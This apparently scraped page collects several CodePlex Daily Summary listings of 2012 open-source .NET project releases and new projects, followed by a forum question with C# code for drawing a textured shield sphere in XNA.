GPU kernels: GPUVerify is a tool for verifying race- and divergence-freedom of GPU kernels written in OpenCL and CUDA.labirinthus: This is a simple videogame developed for an university project. I've not the rights of media contents, I used them only for academic purpose. LFS ERP: My First Open Source Systemmangopollo: Mangopollo* will allow you to easily take advantage of new windows phone 8 tiles (cyclic, flip, iconic) and of new launchersMediaAutomator: This project was created in order to provide an automation for media files (videos, music, etc)P-ZPP_ATH_2B: Oto wymyslny i jakze przydatny program utworzony przez grupe 2 b na Czele Radoslawa BuryRemote domain rename: A graphical front-end for Microsoft's netdom utility that allows users to batch rename domain computers.Simple Trading Platform: This project is aimed at providing meaningful trading information including feedback and managed conversations to all traders in an easy to use manner.Software41: Still deciding on what our projects main goal isSqlCondition for the CapableObject's ECO framework.: ECO is a tool for Domain Driven Development from Capable Objects (www.capableobjects.com). ECO uses OCL for loading objects from the database backend. Loading objects by SQL is currently not supported. This project aims to fill that gap, until ECO provides that support.Streamlet Website: This is my own website for personal use.Symmetry XAML Plugins (Osiris Release): Got a bug you just can't crack? Want to automate or customize something but the team will howl at you for checking it in? Symmetry Plugins to the rescue!!!TOP TECHNOLOGIES Learn & Research Labs: At TOP TECHNOLOGIES we are constantly researching awesome and thrilling topics and decided to share our knowledge with the community.UiAutomationExtension: UI Automation ????????????????????。What's Happening Tag Cloud: Web site that creates tag cloud for multiple words. The weight or occurences of this word is responsible for the font size. Position and color are random.?????????: ?????????????: ???? Windows Phone ????，?????，?????????WebService Api，?????wap.10010.com???????。

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• CodePlex Daily Summary for Wednesday, August 22, 2012

  CodePlex Daily Summary for Wednesday, August 22, 2012Popular ReleasesLINQ to Twitter: LINQ to Twitter Beta v2.0.29: Supports .NET 3.5, .NET 4.0, Silverlight 4.0, Windows Phone 7.1, Client Profile, and Windows 8. 100% Twitter API coverage. LINQ to Twitter Samples contains example code for using LINQ to Twitter with various .NET technologies. Downloadable source code also has C# samples in the LinqToTwitterDemo project and VB samples in the LinqToTwitterDemoVB project.OutlookGoogleSync: OutlookGoogleSync v1.0.5: 1.5: - changed Outlook Primary Interop Assembly to V11 (Ofice 2003) to support older Office versions - more info about start/end/needed time - got rid of app.config - changed double click to single click on tray iconZXing.Net: ZXing.Net 0.8.0.0: sync with rev. 2393 of the java version improved API, direct support for multiple barcode decoding, wrapper for barcode generating many other improvements and fixes encoder and decoder command line clients demo client for emguCV dev documentation startedScintillaNET: ScintillaNET 2.5.1: This release has been built from the 2.5 branch. Issues closed: Issue # Title 32524 32524 32550 32550 32552 32552 25148 25148 32449 32449 32551 32551 32711 32711 MFCMAPI: August 2012 Release: Build: 15.0.0.1035 Full release notes at SGriffin's blog. If you just want to run the MFCMAPI or MrMAPI, get the executables. If you want to debug them, get the symbol files and the source. The 64 bit builds will only work on a machine with Outlook 2010 64 bit installed. All other machines should use the 32 bit builds, regardless of the operating system. Facebook BadgeDocument.Editor: 2013.2: Whats new for Document.Editor 2013.2: New save as Html document Improved Traslate support Minor Bug Fix's, improvements and speed upsPulse: Pulse Beta 5: Whats new in this release? Well to start with we now have Wallbase.cc Authentication! so you can access favorites or NSFW. This version requires .NET 4.0, you probably already have it, but if you don't it's a free and easy download from Microsoft. Pulse can bet set to start on Windows startup now too. The Wallpaper setter has settings now, so you can change the background color of the desktop and the Picture Position (Tile/Center/Fill/etc...) I've switched to Windows Forms instead of WPF...Metro Paint: Metro Paint: Download it now , don't forget to give feedback to me at maitreyavyas@live.com or at my facebook page fb.com/maitreyavyas , Hope you enjoy it.MiniTwitter: 1.80: MiniTwitter 1.80 ???? ?? .NET Framework 4.5 ?????? ?? .NET Framework 4.5 ????????????? "&" ??????????????????? ???????????????????????? 2 ??????????? ReTweet ?????????????????、In reply to ?????????????? URL ???????????? ??????????????????????????????Droid Explorer: Droid Explorer 0.8.8.6 Beta: Device images are now pulled from DroidExplorer Cloud Service refined some issues with the usage statistics Added a method to get the first available value from a list of property names DroidExplorer.Configuration no longer depends on DroidExplorer.Core.UI (it is actually the other way now) fix to the bootstraper to only try to delete the SDK if it is a "local" sdk, not an existing. no longer support the "local" sdk, you must now select an existing SDK checks for sdk if it was ins...Path Copy Copy: 11.0.1: Bugfix release that corrects the following issue: 11365 If you are using Path Copy Copy in a network environment and use the UNC path commands, it is recommended that you upgrade to this version.ExtAspNet: ExtAspNet v3.1.9.1: +2012-08-18 v3.1.9 -??other/addtab.aspx???JS???BoundField??Tooltip???（Dennis_Liu）。 +??Window?GetShowReference???????????????（︶????、????、???、??~）。 -?????JavaScript?????，??????HTML????????。 -??HtmlNodeBuilder????????????????JavaScript??。 -??????WindowField、LinkButton、HyperLink????????????????????????????。 -???????????grid/griddynamiccolumns2.aspx（?????）。 -?????Type??Reset?????，??????????????????（e??）。 -?????????????????????。 -?????????int,short,double??????????（???）。 +?Window????Ge...AcDown????? - AcDown Downloader Framework: AcDown????? v4.0.1: ?? ●AcDown??????????、??、??????。????，????，?????????????????????????。???????????Acfun、????(Bilibili)、??、??、YouTube、??、???、??????、SF????、????????????。 ●??????AcPlay?????，??????、????????????????。 ● AcDown??????????????????，????????????????????????????。 ● AcDown???????C#??，????.NET Framework 2.0??。?????"Acfun?????"。 ????32??64? Windows XP/Vista/7/8 ??：????????Windows XP???,?????????.NET Framework 2.0???(x86)，?????"?????????"??? ??????????????，??????????： ??"AcDown?????"????????? ...Fluent Validation for .NET: 3.4: Changes since 3.3: Make ValidationResut.IsValid virtual Add private no-arg ctor to ValidationFailure to help with serialization Add Turkish error messages Work-around for reflection bug in .NET 4.5 that caused VerificationExceptions Assemblies are now unsigned to ease with versioning/upgrades (especially where other frameworks depend on FV) (Note if you need signed assemblies then you can use the following NuGet packages: FluentValidation-signed, FluentValidation.MVC3-signed, FluentV...DotNetNuke® Feedback: 06.02.01: Official Release - 17th August 2012 Please look at the Release Notes file included in the module packages or available on this page as a separate download for a listing of the bug fixes and enhancements found in this version. NOTE: Feedback v 06.02.00 REQUIRES a minimum DotNetNuke framework version of 06.02.00 as well as ASP.Net 3.5 SP1 and MS SQL Server 2005 or 2008 (Express or standard versions). This release brings some enhancements to the module as well as fixing all known bugs. Bug Fi...AssaultCube Reloaded: 2.5.3 Unnamed Fixed: If you are using deltas, download 2.5.2 first, then overwrite with the delta packages. Linux has Ubuntu 11.10 32-bit precompiled binaries and Ubuntu 10.10 64-bit precompiled binaries, but you can compile your own as it also contains the source. If you are using Mac or other operating systems, please wait while we try to package for those OSes. Try to compile it. If it fails, download a virtual machine. The server pack is ready for both Windows and Linux, but you might need to compile your ...Coding4Fun Tools: Coding4Fun.Phone.Toolkit v1.6.1: Bug Fix release Bug Fixes Better support for transparent images IsFrozen respected if not bound to corrected deadlock stateWPF Application Framework (WAF): WPF Application Framework (WAF) 2.5.0.7: Version: 2.5.0.7 (Milestone 7): This release contains the source code of the WPF Application Framework (WAF) and the sample applications. Requirements .NET Framework 4.0 (The package contains a solution file for Visual Studio 2010) The unit test projects require Visual Studio 2010 Professional Changelog Legend: [B] Breaking change; [O] Marked member as obsolete WAF: Add CollectionHelper.GetNextElementOrDefault method. InfoMan: Support creating a new email and saving it in the Send b...myCollections: Version 2.2.3.0: New in this version : Added setup package. Added Amazon Spain for Apps, Books, Games, Movie, Music, Nds and Tvshow. Added TVDB Spain for Tvshow. Added TMDB Spain for Movies. Added Auto rename files from title. Added more filters when adding files (vob,mpls,ifo...) Improve Books author and Music Artist Credits. Rewrite find duplicates for better performance. You can now add Custom link to items. You can now add type directly from the type list using right mouse button. Bug ...Player Framework by Microsoft: Player Framework for Windows 8 Preview 5 (Refresh): Support for Windows 8 and Visual Studio RTM Support for Smooth Streaming SDK beta 2 Support for live playback New bitrate meter and SD/HD indicators Auto smooth streaming track restriction for snapped mode to conserve bandwidth New "Go Live" button and SeekToLive API Support for offset start times Support for Live position unique from end time Support for multiple audio streams (smooth and progressive content) Improved intellisense in JS version NEW TO PREVIEW 5 REFRESH:Req...New Projects.NET Winforms Gantt Chart Control: Gantt Chart Control allows user to quickly create charts for prototyping or simple use cases in bigger projects.BrowseByURL: Tool that will select the right browser for displaying your URLSdummy2: This is a test projectFit Protocol Library: A library to parse and edit FIT files, used by fitness devices, such as the Garmin series of fitness GPS devices.Guild Wars 2 Build and Rotation Generator: The Guild Wars 2 Build and Rotation Generator is an audacious attempt to make an automatic character build generator in C# using the AForge genetic libraries,ISMOT - Kinect Gesture Library: A Cool Gesture LibraryKaqaz: Kaqaz is a simple weblog engine based on Xoqal framework. You can find Xoqal project link at the related projects.OAuth Lite: An easy to use library to simplify access to web resources which use OAuth 2.0 for authentication.OutlookGoogleSync: A small tool to keep the Google calendar in sync with the Outlook calendar (one way: Outlook -> Google). Doesn't need admin rights and works behind a proxy.pboa1: ????Publishing Point: Hello, my name is Leonidas Fengos and i am developer. This is a tool of publishing point about media player and media element. Please you could use and try it!!Rubik Database Tools: coming soon...Saturn Kinect: Saturn Kinect is a Kinect Interaction Library that contains classes for managing skeleton motions and using it for detecting motions,moving mouse cursor and etcShammateh: Shammateh is a simple time tracking which tends to be a personal time-sheet manager. It's based on Xoqal framework.SharePoint Webtools: SharePoint Webtools is a web application that makes administering a SharePoint Team Site more convenient. It is fully client side and requires no installation.TestOAuth: This is a test project.Type Implementer: A small .NET library (based on System.Reflection.Emit) whose purpose is to facilitate dynamic type generation at run-time.Visualizer3D: TBAWarmMeUp: WarmMeUp is the first SharePoint 2013 (compatible 2010) warm Up tool designed for large SharePoint farms (warming on every server of the farm)Xoqal: Xoqal is an application framework targeting .NET 4+ platform. It supports both of the Web and Win applications with the same infrastructure.ZipFileEx: ZipFileEx add feature that support async/await and IProgress<T> to ZipFile/ZipArchive Classes.

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• CodePlex Daily Summary for Saturday, August 11, 2012

  CodePlex Daily Summary for Saturday, August 11, 2012Popular Releases????: ????2.0.5: 1、?????????????。RiP-Ripper & PG-Ripper: PG-Ripper 1.4.01: changes NEW: Added Support for Clipboard Function in Mono Version NEW: Added Support for "ImgBox.com" links FIXED: "PixHub.eu" links FIXED: "ImgChili.com" links FIXED: Kitty-Kats Forum loginVirtual Keyboard: Virtual Keyboard v1.0.2: 1) Changed the background color to #FFD4D4D4 2) Increased the font size to 20. 3) Changed the font type to Times New RomanPlayer Framework by Microsoft: Player Framework for Windows 8 (Preview 5): Support for Smooth Streaming SDK beta 2 Support for live playback New bitrate meter and SD/HD indicators Auto smooth streaming track restriction for snapped mode to conserve bandwidth New "Go Live" button and SeekToLive API Support for offset start times Support for Live position unique from end time Support for multiple audio streams (smooth and progressive content) Improved intellisense in JS version Support for Windows 8 RTM ADDITIONAL DOWNLOADSSmooth Streaming Client SD...Mugen Injection: Mugen Injection 2.6: Fixed incorrect work with children when creating the MugenInjector. Added the ability to use the IActivator after create object using MethodBinding or CustomBinding. Added new fluent syntax for MethodBinding and CustomBinding. Added new features for working with the ModuleManagerComponent. Fixed some bugs.AutoShutdown.NET: AutoShutdown.NET: This is the first release of AutoShutdown.NET marked with beta, but it's fully functional and work nice without any problem. This release has no installer and you can download and extract the zip file and use it on any machine that runs .NET framework 2.0 or later. Your suggestions and feedback are always welcomed. Contact me on imun22{at}gmail.com Hope you find it useful as i am;MyDbUtils: MyDbUtils_0.9.7.0: Refresh objects from database before generating the SQL script file.Linq2IndexedDB: Linq2IndexedDB 1.0.12: added support for nested properties in the select and orderby functions Fixed bug in sorting Refactored querybuilder added support for multiple inserts Added conditional remove Added support for merging data to multiple objects (also conditional) Added new filter: isUndefinedLearnToProgram: Teaching Kids Programming Java Eclipse v01: Open the zip Open Eclipse Choose/Switch to the included workspaceAutoLaunch for Windows Embedded Compact (CE): AutoLaunch for Compact 7 v300: What's New:In this release, the following sub-components are added to AutoLaunch_v300: - Autolaunch CoreCon - Autolaunch Remote Display application. When the "Autolaunch CoreCon" sub-component is included to an OS design, it includes the build scripts to add CoreCon files to the image and registry entries to launch CoreCon during startup, to support Visual Studio application development. When the "Autolaunch Remote Display application" sub-component is included to an OS design, it set...spUtils: spUtils_v1.0: Public Methods:If SP2010 or above: spUtils.addStatus spUtils.closeDialog spUtils.createListItems spUtils.deleteListItems spUtils.getListItems spUtils.notify spUtils.onDialogClose spUtils.openModalForm spUtils.removeNotify spUtils.updateListItems If jQuery is loaded: spUtils.getFormVal spUtils.setFormValSQLLib: Alpha release 06: Added tsql.fnrecsgenHTTP Server API Configuration: HttpSysManager 1.0: *Set Url ACL *Bind https endpoint to certificateFluentData -Micro ORM with a fluent API that makes it simple to query a database: FluentData version 2.3.0.0: - Added support for SQLite, PostgreSQL and IBM DB2. - Added new method, QueryDataTable which returns the query result as a datatable. - Fixed some issues. - Some refactoring. - Select builder with support for paging and improved support for auto mapping.JSON C# Class Generator: JSON CSharp Class Generator 1.3: Support for native JSON.net serializer/deserializer (POCO) New classes layout option: nested classes Better handling of secondary classesAxiom 3D Rendering Engine: v0.8.3376.12322: Changes Since v0.8.3102.12095 ===================================================================== Updated ndoc3 binaries to fix bug Added uninstall.ps1 to nuspec packages fixed revision component in version numbering Fixed sln referencing VS 11 Updated OpenTK Assemblies Added CultureInvarient to numeric parsing Added First Visual Studio 2010 Project Template (DirectX9) Updated SharpInputSystem Assemblies Backported fix for OpenGL Auto-created window not responding to input Fixed freeInterna...DotSpatial: DotSpatial 1.3: This is a Minor Release. See the changes in the issue tracker. Minimal -- includes DotSpatial core and essential extensions Extended -- includes debugging symbols and additional extensions Tutorials are available. Just want to run the software? End user (non-programmer) version available branded as MapWindow Want to add your own feature? Develop a plugin, using the template and contribute to the extension feed (you can also write extensions that you distribute in other ways). Components ...BugNET Issue Tracker: BugNET 1.0: This release brings performance enhancements, improvements and bug fixes throughout the application. Various parts of the UI have been made consistent with the rest of the application and custom queries have been improved to better handle custom fields. Spanish and Dutch languages were also added in this release. Special thanks to wrhighfield for his many contributions to this release! Upgrade Notes Please see this thread regarding changes to the web.config and files in this release. htt...Iveely Search Engine: Iveely Search Engine (0.1.0): ?????????，???????????。 This is a basic version, So you do not think it is a good Search Engine of this version, but one day it is. only basic on text search. ????： How to use: 1. ?????????IveelySE.Spider.exe ??，????????????，?????????（?????，???????，??????????????。） Find the file which named IveelySE.Spider.exe, and input you link string like "http://www.cnblogs.com",and enter. 2 . ???????，???????IveelySE.Index.exe ????，????。?????。 When the spider finish working,you can run anther file na...Json.NET: Json.NET 4.5 Release 8: New feature - Serialize and deserialize multidimensional arrays New feature - Members on dynamic objects with JsonProperty/DataMember will now be included in serialized JSON New feature - LINQ to JSON load methods will read past preceding comments when loading JSON New feature - Improved error handling to return incomplete values upon reaching the end of JSON content Change - Improved performance and memory usage when serializing Unicode characters Change - The serializer now create...New ProjectsBlack2Json: Small & Simple conversion utility to convert the EVE-Online binary model description files (*.black) back to human readable format (*.json). Captcha.deDogs.com: Places a Captcha Image into an ASP.NET Web Forms application. If Captcha characters difficult to distinguish, control allows refresh of characters. dl: fffEffortless .Net Encryption: Effortless .Net Encryption is a library that provides: * Rijndael encryption/decyption. * Hashing and Digest creation/validation. * Password and salt creation.Fishbone: Fishbone will be a web based project management application suite. Git Tfs Sandbox: This repository just contains tests to see if git-tfs can correctly clone them.lambda calculus interpreter in F#: a simple lambda-calculus interpreter implemented in F#LanChatting: summarypersonal: half assed testingSagenhaft: Manage your Steam games, archive them someplace else, move them back or have them installed on a different drive! All this is packed into an easy-to-use wizard.sandnntaskmanager: This project is done for learning Dotnetnuke, and it is used for taskmanager tasks like inserting , deleting and updating ..... thanks santosh pothankar SRecordizer: SRecordizer is a quick and simple S19 (Motorola S-Record) file editor created to fill the void.URL Shortener by theUltrasoft: URL Shortener API Library enables you to integrate any web-application to use our robust url shortening technology.Windows Auto-Login and Application Auto-Start Setup Tool: Developed over C# .NET 4.0, this simple setup tool presents a simple interface to configure Windows automatic login and automatic application start.Windows Uninstaller: A tool to Uninstall Windows. A part of The GLMET Project. Delete Windows once You click on it. Your Anti Virus may think It is Virus because it delete Windows.

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• CodePlex Daily Summary for Friday, August 31, 2012

  CodePlex Daily Summary for Friday, August 31, 2012Popular ReleasesStartComp: Beta Release 1.0.0: Beta Release 1 Featured Content Bing-Search has been removed Window anchor implemented The listview can now be configured to be shown in details view or tile view through the context menu The listview now allows sorting through the context menu The view, sort order and sort column are now saved for each repository The listview now shows the background image in the lower right The listview now shows a background image for the user defined repositories Added a "Tell-A-Friend" bu...SharePoint Column & View Permission: SharePoint Column and View Permission v1.2: Version 1.2 of this project. If you will find any bugs please let me know at enti@zoznam.sk or post your findings in Issue TrackerDotNetNuke® Form and List: 06.00.04: DotNetNuke Form and List 06.00.04 Don't forget to backup your installation before upgrade. Changes in 06.00.04 Fix: Sql Scripts for 6.003 missed object qualifiers within stored procedures Fix: added missing resource "cmdCancel.Text" in form.ascx.resx Changes in 06.00.03 Fix: MakeThumbnail was broken if the application pool was configured to .Net 4 Change: Data is now stored in nvarchar(max) instead of ntext Changes in 06.00.02 The scripts are now compatible with SQL Azure, tested in a ne...DotNetNuke Translator: 01.00.00 Beta: First release of the project.Audio Pitch & Shift: Audio Pitch And Shift 5.1.0.2: fixed several issues with streaming modeUrlPager: UrlPager 1.2: Fixed bug in which url parameters will lost after paging; ????????url???bug；EntLib.com????????: EntLib.com???????? v3.0: EntLib eCommerce Solution ???Microsoft .Net Framework?????????????????????。Coevery - Free CRM: Coevery 1.0.0.24: Add a sample database, and installation instructions.NicAudio: NicAudio 2.0.6: ac3,dts Solved some initialization issues with no-linear decode.ExpressProfiler: Initial release of ExpressProfiler v1.2: This is initial release of ExpressProfilerNabu Library: 2012-08-29, 14: .Net Framework 4.0, .Net Framework 4.5 Debug and Release builds.Math.NET Numerics: Math.NET Numerics v2.2.1: Major linear algebra rework since v2.1, now available on Codeplex as well (previous versions were only available via NuGet). Since v2.2.0: Student-T density more robust for very large degrees of freedom Sparse Kronecker product much more efficient (now leverages sparsity) Direct access to raw matrix storage implementations for advanced extensibility Now also separate package for signed core library with a strong name (we dropped strong names in v2.2.0) Also available as NuGet packages...Microsoft SQL Server Product Samples: Database: AdventureWorks Databases – 2012, 2008R2 and 2008: About this release This release consolidates AdventureWorks databases for SQL Server 2012, 2008R2 and 2008 versions to one page. Each zip file contains an mdf database file and ldf log file. This should make it easier to find and download AdventureWorks databases since all OLTP versions are on one page. There are no database schema changes. For each release of the product, there is a light-weight and full version of the AdventureWorks sample database. The light-weight version is denoted by ...DotNetNuke® Blog: 05.00.00: Version 5.0.0 - Final This version of the module requires DotNetNuke Core 6.2 or greater. FYI: Developers should be aware that the module uses Visual Studio 2010 only. Release Highlights: Corrected blog comment sorting problem. 20228 - Integrated with the core Journal API. 20789, 21988 - wired in fix submitted by J Sheely around blank author names. 20210 - Updated manifest to 5.0 format (from 3.0). Automated packaging and made project structure more inline with other DotNetNuke m...Christoc's DotNetNuke Module Development Template: DotNetNuke Project Templates V1.1 for VS2012: This release is specifically for Visual Studio 2012 Support, distributed through the Visual Studio Extensions gallery at http://visualstudiogallery.msdn.microsoft.com/ After you build in Release mode the installable packages (source/install) can be found in the INSTALL folder now, within your module's folder, not the packages folder anymore Check out the blog post for all of the details about this release. http://www.dotnetnuke.com/Resources/Blogs/EntryId/3471/New-Visual-Studio-2012-Projec...Home Access Plus+: v8.0: v8.0828.1800 RELEASE CHANGED TO BETA Any issues, please log them on http://www.edugeek.net/forums/home-access-plus/ This is full release, NO upgrade ZIP will be provided as most files require replacing. To upgrade from a previous version, delete everything but your AppData folder, extract all but the AppData folder and run your HAP+ install Documentation is supplied in the Web Zip The Quota Services require executing a script to register the service, this can be found in there install di...Phalanger - The PHP Language Compiler for the .NET Framework: 3.0.0.3406 (September 2012): New features: Extended ReflectionClass libxml error handling, constants DateTime::modify(), DateTime::getOffset() TreatWarningsAsErrors MSBuild option OnlyPrecompiledCode configuration option; allows to use only compiled code Fixes: ArgsAware exception fix accessing .NET properties bug fix ASP.NET session handler fix for OutOfProc mode DateTime methods (WordPress posting fix) Phalanger Tools for Visual Studio: Visual Studio 2010 & 2012 New debugger engine, PHP-like debugging ...MabiCommerce: MabiCommerce 1.0.1: What's NewSetup now creates shortcuts Fix spelling errors Minor enhancement to the Map window.ScintillaNET: ScintillaNET 2.5.2: This release has been built from the 2.5 branch. Version 2.5.2 is functionally identical to the 2.5.1 release but also includes the XML documentation comments file generated by Visual Studio. It is not 100% comprehensive but it will give you Visual Studio IntelliSense for a large part of the API. Just make sure the ScintillaNET.xml file is in the same folder as the ScintillaNET.dll reference you're using in your projects. (The XML file does not need to be distributed with your application)....BlackJumboDog: Ver5.7.1: 2012.08.25 Ver5.7.1 (1)?????·?????LING?????????????? (2)SMTP???（????）????、?????\?????????????????????New ProjectsAbcLibrary: A Library of methods and class types used for ABCAprendendo Windows 8: Não foi feito nada ainda...Auto fill template generator (word): This program was designed to help the automate generation of files using keywords.ClarkTestCodePlex2: clark test Code Razor: This tools translates Razor files to code. This allows the Razor views to be compiled and shared across projects.Contrib.Mod.ChangePassword: It is an evil module that abuses users rights and lets you change anyone's password.CurrentConsumption: CurrentConsumptionDbSettings - An API to store settings in a database: This stores settings in an OleDb/Sql database using an API similar to ApplicationSettingsBase. Settings vary by app, version, user.JCI prototipos: summaryMemberAdminService: This is a test projectMeteor Rendering Engine: The Meteor rendering engine is developed in C# with XNA 4.0, and provides various rendering outputs for 3D scenes.Mod.Colorbox: Orchard module for Mod.ColorboxMogulTestProject1: papaMogulTestTRY: papaosmm: this is a sample test projectServer Survey: Server Survey ScriptShops' Cloud: This project is a Cloud Platform for Mini Shops' Daily Management.Simple Grocery 5: This is a very simple application to help me (or you) out setting up a grocery list and use it on the food market using ALL smart phones or tablets.Tikun Korim: Community site to help people learn to read in Sefer Torah. This project is going to use ASP.NET MVC 4 and as much as open source project as we can. TreeCreeper: TreeCreeper programs (Spatial and NonSpatial) support the taxonomic analysis of species assemblagesVisual Studio Icon Patcher: Visual Studio Icon Patcher allows you to update Visual Studio 2012 with the Solution Explorer icons from Visual Studio 2010.WPT Generator: WPT Generator HTML5 , Google API 3.0, Javascript and CSS 3.0 Web Application for generating a WPT file (Ozi Explorer Format).

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• XNA shield effect with a Primative sphere problem

  - by Sparky41

  I'm having issue with a shield effect i'm trying to develop. I want to do a shield effect that surrounds part of a model like this: http://i.imgur.com/jPvrf.png I currently got this: http://i.imgur.com/Jdin7.png (The red likes are a simple texture a black background with a red cross in it, for testing purposes: http://i.imgur.com/ODtzk.png where the smaller cross in the middle shows the contact point) This sphere is drawn via a primitive (DrawIndexedPrimitives) This is how i calculate the pieces of the sphere using a class i've called Sphere (this class is based off the code here: http://xbox.create.msdn.com/en-US/education/catalog/sample/primitives_3d) public class Sphere { // During the process of constructing a primitive model, vertex // and index data is stored on the CPU in these managed lists. List vertices = new List(); List indices = new List(); // Once all the geometry has been specified, the InitializePrimitive // method copies the vertex and index data into these buffers, which // store it on the GPU ready for efficient rendering. VertexBuffer vertexBuffer; IndexBuffer indexBuffer; BasicEffect basicEffect; public Vector3 position = Vector3.Zero; public Matrix RotationMatrix = Matrix.Identity; public Texture2D texture; /// <summary> /// Constructs a new sphere primitive, /// with the specified size and tessellation level. /// </summary> public Sphere(float diameter, int tessellation, Texture2D text, float up, float down, float portstar, float frontback) { texture = text; if (tessellation < 3) throw new ArgumentOutOfRangeException("tessellation"); int verticalSegments = tessellation; int horizontalSegments = tessellation * 2; float radius = diameter / 2; // Start with a single vertex at the bottom of the sphere. AddVertex(Vector3.Down * ((radius / up) + 1), Vector3.Down, Vector2.Zero);//bottom position5 // Create rings of vertices at progressively higher latitudes. for (int i = 0; i < verticalSegments - 1; i++) { float latitude = ((i + 1) * MathHelper.Pi / verticalSegments) - MathHelper.PiOver2; float dy = (float)Math.Sin(latitude / up);//(up)5 float dxz = (float)Math.Cos(latitude); // Create a single ring of vertices at this latitude. for (int j = 0; j < horizontalSegments; j++) { float longitude = j * MathHelper.TwoPi / horizontalSegments; float dx = (float)(Math.Cos(longitude) * dxz) / portstar;//port and starboard (right)2 float dz = (float)(Math.Sin(longitude) * dxz) * frontback;//front and back1.4 Vector3 normal = new Vector3(dx, dy, dz); AddVertex(normal * radius, normal, new Vector2(j, i)); } } // Finish with a single vertex at the top of the sphere. AddVertex(Vector3.Up * ((radius / down) + 1), Vector3.Up, Vector2.One);//top position5 // Create a fan connecting the bottom vertex to the bottom latitude ring. for (int i = 0; i < horizontalSegments; i++) { AddIndex(0); AddIndex(1 + (i + 1) % horizontalSegments); AddIndex(1 + i); } // Fill the sphere body with triangles joining each pair of latitude rings. for (int i = 0; i < verticalSegments - 2; i++) { for (int j = 0; j < horizontalSegments; j++) { int nextI = i + 1; int nextJ = (j + 1) % horizontalSegments; AddIndex(1 + i * horizontalSegments + j); AddIndex(1 + i * horizontalSegments + nextJ); AddIndex(1 + nextI * horizontalSegments + j); AddIndex(1 + i * horizontalSegments + nextJ); AddIndex(1 + nextI * horizontalSegments + nextJ); AddIndex(1 + nextI * horizontalSegments + j); } } // Create a fan connecting the top vertex to the top latitude ring. for (int i = 0; i < horizontalSegments; i++) { AddIndex(CurrentVertex - 1); AddIndex(CurrentVertex - 2 - (i + 1) % horizontalSegments); AddIndex(CurrentVertex - 2 - i); } //InitializePrimitive(graphicsDevice); } /// <summary> /// Adds a new vertex to the primitive model. This should only be called /// during the initialization process, before InitializePrimitive. /// </summary> protected void AddVertex(Vector3 position, Vector3 normal, Vector2 texturecoordinate) { vertices.Add(new VertexPositionNormal(position, normal, texturecoordinate)); } /// <summary> /// Adds a new index to the primitive model. This should only be called /// during the initialization process, before InitializePrimitive. /// </summary> protected void AddIndex(int index) { if (index > ushort.MaxValue) throw new ArgumentOutOfRangeException("index"); indices.Add((ushort)index); } /// <summary> /// Queries the index of the current vertex. This starts at /// zero, and increments every time AddVertex is called. /// </summary> protected int CurrentVertex { get { return vertices.Count; } } public void InitializePrimitive(GraphicsDevice graphicsDevice) { // Create a vertex declaration, describing the format of our vertex data. // Create a vertex buffer, and copy our vertex data into it. vertexBuffer = new VertexBuffer(graphicsDevice, typeof(VertexPositionNormal), vertices.Count, BufferUsage.None); vertexBuffer.SetData(vertices.ToArray()); // Create an index buffer, and copy our index data into it. indexBuffer = new IndexBuffer(graphicsDevice, typeof(ushort), indices.Count, BufferUsage.None); indexBuffer.SetData(indices.ToArray()); // Create a BasicEffect, which will be used to render the primitive. basicEffect = new BasicEffect(graphicsDevice); //basicEffect.EnableDefaultLighting(); } /// <summary> /// Draws the primitive model, using the specified effect. Unlike the other /// Draw overload where you just specify the world/view/projection matrices /// and color, this method does not set any renderstates, so you must make /// sure all states are set to sensible values before you call it. /// </summary> public void Draw(Effect effect) { GraphicsDevice graphicsDevice = effect.GraphicsDevice; // Set our vertex declaration, vertex buffer, and index buffer. graphicsDevice.SetVertexBuffer(vertexBuffer); graphicsDevice.Indices = indexBuffer; graphicsDevice.BlendState = BlendState.Additive; foreach (EffectPass effectPass in effect.CurrentTechnique.Passes) { effectPass.Apply(); int primitiveCount = indices.Count / 3; graphicsDevice.DrawIndexedPrimitives(PrimitiveType.TriangleList, 0, 0, vertices.Count, 0, primitiveCount); } graphicsDevice.BlendState = BlendState.Opaque; } /// <summary> /// Draws the primitive model, using a BasicEffect shader with default /// lighting. Unlike the other Draw overload where you specify a custom /// effect, this method sets important renderstates to sensible values /// for 3D model rendering, so you do not need to set these states before /// you call it. /// </summary> public void Draw(Camera camera, Color color) { // Set BasicEffect parameters. basicEffect.World = GetWorld(); basicEffect.View = camera.view; basicEffect.Projection = camera.projection; basicEffect.DiffuseColor = color.ToVector3(); basicEffect.TextureEnabled = true; basicEffect.Texture = texture; GraphicsDevice device = basicEffect.GraphicsDevice; device.DepthStencilState = DepthStencilState.Default; if (color.A < 255) { // Set renderstates for alpha blended rendering. device.BlendState = BlendState.AlphaBlend; } else { // Set renderstates for opaque rendering. device.BlendState = BlendState.Opaque; } // Draw the model, using BasicEffect. Draw(basicEffect); } public virtual Matrix GetWorld() { return /*world */ Matrix.CreateScale(1f) * RotationMatrix * Matrix.CreateTranslation(position); } } public struct VertexPositionNormal : IVertexType { public Vector3 Position; public Vector3 Normal; public Vector2 TextureCoordinate; /// <summary> /// Constructor. /// </summary> public VertexPositionNormal(Vector3 position, Vector3 normal, Vector2 textCoor) { Position = position; Normal = normal; TextureCoordinate = textCoor; } /// <summary> /// A VertexDeclaration object, which contains information about the vertex /// elements contained within this struct. /// </summary> public static readonly VertexDeclaration VertexDeclaration = new VertexDeclaration ( new VertexElement(0, VertexElementFormat.Vector3, VertexElementUsage.Position, 0), new VertexElement(12, VertexElementFormat.Vector3, VertexElementUsage.Normal, 0), new VertexElement(24, VertexElementFormat.Vector2, VertexElementUsage.TextureCoordinate, 0) ); VertexDeclaration IVertexType.VertexDeclaration { get { return VertexPositionNormal.VertexDeclaration; } } } A simple call to the class to initialise it. The Draw method is called in the master draw method in the Gamecomponent. My current thoughts on this are: The direction of the weapon hitting the ship is used to get the middle position for the texture Wrap a texture around the drawn sphere based on this point of contact Problem is i'm not sure how to do this. Can anyone help or if you have a better idea please tell me i'm open for opinion? :-) Thanks.

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• CodePlex Daily Summary for Sunday, May 11, 2014

